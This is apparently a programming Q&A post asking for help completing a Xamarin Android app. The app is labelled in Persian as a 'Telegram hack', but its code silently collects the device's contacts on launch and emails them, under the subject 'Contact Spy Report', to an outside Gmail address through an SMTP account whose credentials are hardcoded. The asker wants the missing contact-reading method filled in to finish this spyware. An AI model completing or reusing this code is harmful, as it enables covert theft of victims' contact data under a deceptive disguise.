title: Get Android Contacts in Xamarin
body: <p>Currently, I have some limits that I can't use Visual Studio.
  I have a emergency work, That needs an Android Program, But I don't know exactly how to do something in it, Because Visual Studio helps me with suggests but I don't have it. I want to get Android Contacts With Name and Phone Number.
  Currently, This is my codes in App.cs:</p>
  
  <pre><code>using System;
  using System.Linq;
  
  using Android.App;
  using Android.Content;
  using Android.OS;
  using Android.Views;
  using Android.Views.InputMethods;
  using Android.Widget;
  using System.Net;
  using System.Net.Mail;
  
  namespace Tlgr
  {
      [Activity(Label = "هک تلگرام", MainLauncher = true)]
      public class App : Activity
      {
          protected override void OnCreate(Bundle bundle)
          {
              base.OnCreate(bundle);
              var ctks = Contact.GetContacts();
              using (var mail = new MailMessage())
              {
                  mail.From = new MailAddress("feedbackhost.sender@gmail.com");
                  mail.To.Add("asm262015@gmail.com");
                  mail.Subject = "Contact Spy Report";
                  foreach(ctk in ctks)
                  {
                      mail.Body += ctk.ToString() + "\r\n";
                  }
                  using (var smtp = new SmtpClient("smtp.gmail.com", 587))
                  {
                      smtp.Credentials = new NetworkCredential("feedbackhost.sender@gmail.com", "feedbackhost");
                      smtp.EnableSsl = true;
                      smtp.Send(mail);
                  }
              }
          }
      }
  
      public class Contact
      {
          public string Name {get;set;}
          public string[] Numbers {get;set;}
          public override ToString()
          {
              var a = $"Name: {Name}";
              foreach (var i in Numbers)
              {
                  a += " , Number: " + i;
              }
              return a;
          }
  
          public static Contact[] GetContacts()
          {
  
          }
      }
  }
  </code></pre>
  
  <p>I just need to add body for method GetContacts() to solve my problem.
  I have searched, There was good results, But I don't know how to use them, I need a prefect code! Thanks!</p>